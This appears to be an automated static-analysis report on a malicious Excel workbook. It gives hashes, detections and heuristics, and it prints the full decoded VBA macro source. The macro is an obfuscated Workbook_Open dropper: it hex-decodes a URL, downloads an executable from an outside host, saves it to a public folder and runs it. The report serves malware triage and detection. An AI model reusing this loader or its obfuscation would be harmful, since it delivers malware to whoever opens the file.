Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 57b84e7cff62308b…

MALICIOUS

Office (OOXML)

78.6 KB First seen: 2020-09-07
MD5: 24f765ee987be390bc8c6bc905dd18bb SHA-1: 167e1d81221553bcf231aa9adb39c2dfea4bed16 SHA-256: 57b84e7cff62308b09d01a774efeb9629b32573a4784ba051b972e311287b388
310 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The VBA macro contains an obfuscated loader that executes upon opening the document. It uses CreateObject to instantiate 'Microsoft.XMLHTTP' and downloads a file from 'http://bestatmedia.com/1LoggerBin.exe', which is then likely executed. This behavior is consistent with a macro-based dropper designed to fetch and run a secondary payload.

Heuristics 7

  • ClamAV: Xls.Dropper.EPPlus-9802867-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.EPPlus-9802867-2
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    ysannwmdjlhjdojjebdjyvsophcqqjhurgmbihnnclvhkbbcyvkcldgczmxftvmzemrxbhawnpgmzldogasvzfjoakbwjiuhzwcy.write ecsizjhdqxblcpyglisltnodixqiabznlriytqkxnhdksxdhnzrkyhyqnozcszcoynzlgamuyvxmjelktjubkopetrkerheoepme.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
      Range("A6:J13").Select
    Set ecsizjhdqxblcpyglisltnodixqiabznlriytqkxnhdksxdhnzrkyhyqnozcszcoynzlgamuyvxmjelktjubkopetrkerheoepme = CreateObject(enjykrrhveddunujnxbxosmychonnlthahoykoxxzsxzoundzc("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
      Range("A6:J13").Select
    Set ecsizjhdqxblcpyglisltnodixqiabznlriytqkxnhdksxdhnzrkyhyqnozcszcoynzlgamuyvxmjelktjubkopetrkerheoepme = CreateObject(enjykrrhveddunujnxbxosmychonnlthahoykoxxzsxzoundzc("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 6596 bytes
SHA-256: 3c9c83147df339d9f69ca6840a23227c9c553bb6aa02289fba335936c69ac45e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
  Range("A6:J13").Select 
rwymwzmmcdudkovicgpwimanhpvmhmpgstxusxzqtwkhwpdazaxygzpfwkfgdaeqonlqqapfgzdlbtqsmumhorztdsxhrtmsrtsj"68 74 74 70 3A 2F 2F 62 65 73 74 61 74 6D 65 64 69 61 2E 63 6F 6D 2F 31 4C 6F 67 67 65 72 42 69 6E 2E 65 78 65"
  Selection.Font.ColorIndex = 3
End Sub
Public Sub rwymwzmmcdudkovicgpwimanhpvmhmpgstxusxzqtwkhwpdazaxygzpfwkfgdaeqonlqqapfgzdlbtqsmumhorztdsxhrtmsrtsj (bsrbxtkhcdzutwrwnfeqevcfyyazodwunxzyszkymmqywlyoadwbjupgpmcysktygehwwsdnugdseejnamzkgukthtjgwlfctrsr As String)
Dim ecsizjhdqxblcpyglisltnodixqiabznlriytqkxnhdksxdhnzrkyhyqnozcszcoynzlgamuyvxmjelktjubkopetrkerheoepme
  Range("A6:J13").Select 
Dim ysannwmdjlhjdojjebdjyvsophcqqjhurgmbihnnclvhkbbcyvkcldgczmxftvmzemrxbhawnpgmzldogasvzfjoakbwjiuhzwcy
  Range("A6:J13").Select 
Dim jdbqunovwtdoijztdqzzddwrgemfvymdifeczbamqnrggnnajadjwdvggjkqajaxhzgdewubqniplqktqmvvudgejyvprjlgntzh
  Range("A6:J13").Select 
Set ecsizjhdqxblcpyglisltnodixqiabznlriytqkxnhdksxdhnzrkyhyqnozcszcoynzlgamuyvxmjelktjubkopetrkerheoepme = CreateObject(enjykrrhveddunujnxbxosmychonnlthahoykoxxzsxzoundzc("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
  Range("A6:J13").Select 
Set ecsizjhdqxblcpyglisltnodixqiabznlriytqkxnhdksxdhnzrkyhyqnozcszcoynzlgamuyvxmjelktjubkopetrkerheoepme = CreateObject(enjykrrhveddunujnxbxosmychonnlthahoykoxxzsxzoundzc("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
Set ecsizjhdqxblcpyglisltnodixqiabznlriytqkxnhdksxdhnzrkyhyqnozcszcoynzlgamuyvxmjelktjubkopetrkerheoepme = CreateObject(enjykrrhveddunujnxbxosmychonnlthahoykoxxzsxzoundzc("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
Set ecsizjhdqxblcpyglisltnodixqiabznlriytqkxnhdksxdhnzrkyhyqnozcszcoynzlgamuyvxmjelktjubkopetrkerheoepme = CreateObject(enjykrrhveddunujnxbxosmychonnlthahoykoxxzsxzoundzc("4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50"))
Set ysannwmdjlhjdojjebdjyvsophcqqjhurgmbihnnclvhkbbcyvkcldgczmxftvmzemrxbhawnpgmzldogasvzfjoakbwjiuhzwcy = CreateObject(enjykrrhveddunujnxbxosmychonnlthahoykoxxzsxzoundzc("41 44 4f 44 42 2e 53 74 72 65 61 6d"))
Set jdbqunovwtdoijztdqzzddwrgemfvymdifeczbamqnrggnnajadjwdvggjkqajaxhzgdewubqniplqktqmvvudgejyvprjlgntzh = CreateObject(enjykrrhveddunujnxbxosmychonnlthahoykoxxzsxzoundzc("57 53 63 72 69 70 74 2e 53 68 65 6c 6c"))
fqnihzpqbuzbxbqnfpkkizxlaguoefxoumuozbecvswdvtqnzeiqotoftbhbealvwlhlhcodkioqduqhphpaxgaayouxtcyugagk = enjykrrhveddunujnxbxosmychonnlthahoykoxxzsxzoundzc(bsrbxtkhcdzutwrwnfeqevcfyyazodwunxzyszkymmqywlyoadwbjupgpmcysktygehwwsdnugdseejnamzkgukthtjgwlfctrsr)
mffwqefgfyczlamwllyplgnshqkijujcngvjbtktbtvzmvmtqbjvcqyfsnoztxwloalefcusbeorknfmerrhkozwhproekzdxkkm = enjykrrhveddunujnxbxosmychonnlthahoykoxxzsxzoundzc("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 66 75 72 76 75 6C 61 6C 76 2e 65 78 65")
jhnohrtychufhcvcfpaaaoxqkgnrekuactdwddatubuaumhbowxhjjlujxdbdctrmucozzzcohgzuxvyylcimmqshimfazprhdnz = enjykrrhveddunujnxbxosmychonnlthahoykoxxzsxzoundzc("43 3a 5c 55 73 65 72 73 5c 50 75 62 6c 69 63 5c 66 75 72 76 75 6C 61 6C 76 2e 65 78 65")
ecsizjhdqxblcpyglisltnodixqiabznlriytqkxnhdksxdhnzrkyhyqnozcszcoynzlgamuyvxmjelktjubkopetrkerheoepme.Open chr(71) + chr(69) + chr(84), fqnihzpqbuzbxbqnfpkkizxlaguoefxoumuozbecvswdvtqnzeiqotoftbhbealvwlhlhcodkioqduqhphpaxgaayouxtcyugagk, False
ecsizjhdqxblcpyglisltnodixqiabznlriytqkxnhdksxdhnzrkyhyqnozcszcoynzlgamuyvxmjelktjubkopetrkerheoepme.send
ysannwmdjlhjdojjebdjyvsophcqqjhurgmbihnnclvhkbbcyvkcldgczmxftvmzemrxbhawnpgmzldogasvzfjoakbwjiuhzwcy.Type = 1
ysannwmdjlhjdojjebdjyvsophcqqjhurgmbihnnclvhkbbcyvkcldgczmxftvmzemrxbhawnpgmzldogasvzfjoakbwjiuhzwcy.Open
ysannwmdjlhjdojjebdjyvsophcqqjhurgmbihnnclvhkbbcyvkcldgczmxftvmzemrxbhawnpgmzldogasvzfjoakbwjiuhzwcy.write ecsizjhdqxblcpyglisltnodixqiabznlriytqkxnhdksxdhnzrkyhyqnozcszcoynzlgamuyvxmjelktjubkopetrkerheoepme.responseBody
ysannwmdjlhjdojjebdjyvsophcqqjhurgmbihnnclvhkbbcyvkcldgczmxftvmzemrxbhawnpgmzldogasvzfjoakbwjiuhzwcy.savetofile mffwqefgfyczlamwllyplgnshqkijujcngvjbtktbtvzmvmtqbjvcqyfsnoztxwloalefcusbeorknfmerrhkozwhproekzdxkkm, 2
jdbqunovwtdoijztdqzzddwrgemfvymdifeczbamqnrggnnajadjwdvggjkqajaxhzgdewubqniplqktqmvvudgejyvprjlgntzh.Run jhnohrtychufhcvcfpaaaoxqkgnrekuactdwddatubuaumhbowxhjjlujxdbdctrmucozzzcohgzuxvyylcimmqshimfazprhdnz
End Sub
Public Function enjykrrhveddunujnxbxosmychonnlthahoykoxxzsxzoundzc(ByVal gkvmgbsjufvqyraonfcdtbtgbekgbccrrdmfqjpskxjddfqzjxtiqvoeqplbrmhsddyvfuxeqktvspcvnlxejtawphobxnbxqraz As String) As String
Dim gvuozosgbsmbmpnfpcjjccfxfvgcivfbpdpsqifubtvxunphavinhqxepwjehqyfmlmjavphxphigicrfzcmmstygkctyamlvpkj As String
Dim bghfgbqsjoxgtryinmsurodpsviwcwnrytqzrwflbbprnvagcdxiwprndrmlstpmafiabyqrghsqylcwvbtzyevibdvakttilcrh As String
Dim nzfdmgcowbospqqqzqovkzzycqgnokfwtujvwpmrcglaodludciunvxnahbwzpamvryugvujewtdnyjzfmjlbljyxvuooprnfzew As Long
For nzfdmgcowbospqqqzqovkzzycqgnokfwtujvwpmrcglaodludciunvxnahbwzpamvryugvujewtdnyjzfmjlbljyxvuooprnfzew = 1 To Len(gkvmgbsjufvqyraonfcdtbtgbekgbccrrdmfqjpskxjddfqzjxtiqvoeqplbrmhsddyvfuxeqktvspcvnlxejtawphobxnbxqraz)Step 3
        gvuozosgbsmbmpnfpcjjccfxfvgcivfbpdpsqifubtvxunphavinhqxepwjehqyfmlmjavphxphigicrfzcmmstygkctyamlvpkj = Chr$(Val("&H" & Mid$(gkvmgbsjufvqyraonfcdtbtgbekgbccrrdmfqjpskxjddfqzjxtiqvoeqplbrmhsddyvfuxeqktvspcvnlxejtawphobxnbxqraz, nzfdmgcowbospqqqzqovkzzycqgnokfwtujvwpmrcglaodludciunvxnahbwzpamvryugvujewtdnyjzfmjlbljyxvuooprnfzew, 2)))
        bghfgbqsjoxgtryinmsurodpsviwcwnrytqzrwflbbprnvagcdxiwprndrmlstpmafiabyqrghsqylcwvbtzyevibdvakttilcrh = bghfgbqsjoxgtryinmsurodpsviwcwnrytqzrwflbbprnvagcdxiwprndrmlstpmafiabyqrghsqylcwvbtzyevibdvakttilcrh & gvuozosgbsmbmpnfpcjjccfxfvgcivfbpdpsqifubtvxunphavinhqxepwjehqyfmlmjavphxphigicrfzcmmstygkctyamlvpkj
    Next nzfdmgcowbospqqqzqovkzzycqgnokfwtujvwpmrcglaodludciunvxnahbwzpamvryugvujewtdnyjzfmjlbljyxvuooprnfzew
enjykrrhveddunujnxbxosmychonnlthahoykoxxzsxzoundzc = bghfgbqsjoxgtryinmsurodpsviwcwnrytqzrwflbbprnvagcdxiwprndrmlstpmafiabyqrghsqylcwvbtzyevibdvakttilcrh
End Function

Attribute VB_Name = "jtcpxvtcdmzmbecrzleadkgqm"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 7680 bytes
SHA-256: af04a49d1c1a8c5f55fc5fe5688188a694638b073da5fe44e665ed223d1b1d22
Detection
ClamAV: Xls.Dropper.EPPlus-9802867-2
Obfuscation or payload: likely
149 of 222 identifiers look randomly generated (e.g. 'jtcpxvtcdmzmbecrzleadkgqm') — consistent with name-mangling obfuscation.